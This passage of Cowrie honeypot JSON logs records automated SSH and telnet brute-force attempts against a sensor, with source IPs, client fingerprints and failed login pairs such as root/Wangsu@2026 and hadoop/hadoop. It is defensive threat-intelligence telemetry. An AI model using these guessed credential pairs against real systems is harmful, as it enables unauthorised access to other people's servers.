sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:48.078765Z","src_ip":"47.237.167.49","session":"2469237bae27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:48.747317Z","src_ip":"45.156.87.204","session":"97438fdae360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":41750,"dst_ip":"159.203.135.109","dst_port":22,"session":"f578ab64726b","protocol":"ssh","message":"New connection: 83.111.76.195:41750 (159.203.135.109:22) [session: f578ab64726b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:49.961649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:49.967147Z","src_ip":"83.111.76.195","session":"f578ab64726b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:50.165772Z","src_ip":"83.111.76.195","session":"f578ab64726b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54242,"dst_ip":"159.203.135.109","dst_port":22,"session":"01424d661f67","protocol":"ssh","message":"New connection: 45.156.87.204:54242 (159.203.135.109:22) [session: 01424d661f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:50.791684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:50.796018Z","src_ip":"45.156.87.204","session":"01424d661f67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:50.880428Z","src_ip":"45.156.87.204","session":"01424d661f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.90864753723145,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:50.960868Z","src_ip":"152.42.224.71","session":"f720afe42ad8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wangsu@2026","message":"login attempt [root/Wangsu@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:50.997657Z","src_ip":"83.111.76.195","session":"f578ab64726b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:51.127775Z","src_ip":"45.156.87.204","session":"01424d661f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.096855878829956,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:51.137071Z","src_ip":"152.42.224.71","session":"10306b556649","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.55331063270569,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:51.154694Z","src_ip":"152.42.224.71","session":"86a09d78b278","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:52.199104Z","src_ip":"83.111.76.195","session":"f578ab64726b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:52.214605Z","src_ip":"45.156.87.204","session":"01424d661f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":50808,"dst_ip":"159.203.135.109","dst_port":22,"session":"d201578d0660","protocol":"ssh","message":"New connection: 45.183.70.66:50808 (159.203.135.109:22) [session: d201578d0660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:53.681888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:53.689611Z","src_ip":"45.183.70.66","session":"d201578d0660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39918,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f86dea943af","protocol":"telnet","message":"New connection: 152.42.224.71:39918 (10.17.0.5:23) [session: 6f86dea943af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:53.777798Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:53.806595Z","src_ip":"45.183.70.66","session":"d201578d0660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123123","message":"login attempt [root/Aa@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:54.306379Z","src_ip":"45.183.70.66","session":"d201578d0660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54380,"dst_ip":"159.203.135.109","dst_port":22,"session":"0be243323145","protocol":"ssh","message":"New connection: 45.156.87.204:54380 (159.203.135.109:22) [session: 0be243323145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:54.399133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:54.403843Z","src_ip":"45.156.87.204","session":"0be243323145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:54.487858Z","src_ip":"45.156.87.204","session":"0be243323145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:54.733453Z","src_ip":"45.156.87.204","session":"0be243323145","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:55.426546Z","src_ip":"45.183.70.66","session":"d201578d0660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.55636024475098,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:55.460655Z","src_ip":"152.42.224.71","session":"2da28aae4297","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:55.819726Z","src_ip":"45.156.87.204","session":"0be243323145","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43946,"dst_ip":"10.17.0.5","dst_port":23,"session":"011915963267","protocol":"telnet","message":"New connection: 152.42.224.71:43946 (10.17.0.5:23) [session: 011915963267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:57.745928Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54384,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a716b18f2f9","protocol":"ssh","message":"New connection: 45.156.87.204:54384 (159.203.135.109:22) [session: 8a716b18f2f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:58.219481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:58.224463Z","src_ip":"45.156.87.204","session":"8a716b18f2f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:58.307204Z","src_ip":"45.156.87.204","session":"8a716b18f2f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:58.554703Z","src_ip":"45.156.87.204","session":"8a716b18f2f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:59.639622Z","src_ip":"45.156.87.204","session":"8a716b18f2f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54394,"dst_ip":"159.203.135.109","dst_port":22,"session":"de56e64a49b5","protocol":"ssh","message":"New connection: 45.156.87.204:54394 (159.203.135.109:22) [session: de56e64a49b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:01.774114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:01.792202Z","src_ip":"45.156.87.204","session":"de56e64a49b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:01.862558Z","src_ip":"45.156.87.204","session":"de56e64a49b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing@1234","message":"login attempt [testing/testing@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:02.191068Z","src_ip":"45.156.87.204","session":"de56e64a49b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.67464828491211,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:02.452330Z","src_ip":"152.42.224.71","session":"6f86dea943af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:03.277107Z","src_ip":"45.156.87.204","session":"de56e64a49b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.787651777267456,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:05.042912Z","src_ip":"152.42.224.71","session":"493e4a79d072","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45764,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cb71459a5dd","protocol":"ssh","message":"New connection: 45.156.87.204:45764 (159.203.135.109:22) [session: 0cb71459a5dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:05.369938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:05.375864Z","src_ip":"45.156.87.204","session":"0cb71459a5dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:05.610768Z","src_ip":"45.156.87.204","session":"0cb71459a5dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:06.099159Z","src_ip":"45.156.87.204","session":"0cb71459a5dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:07.186027Z","src_ip":"45.156.87.204","session":"0cb71459a5dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:08.423767Z","src_ip":"47.237.167.49","session":"2469237bae27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45780,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4e8e3fe9f6e","protocol":"ssh","message":"New connection: 45.156.87.204:45780 (159.203.135.109:22) [session: d4e8e3fe9f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:09.189606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:09.194833Z","src_ip":"45.156.87.204","session":"d4e8e3fe9f6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-n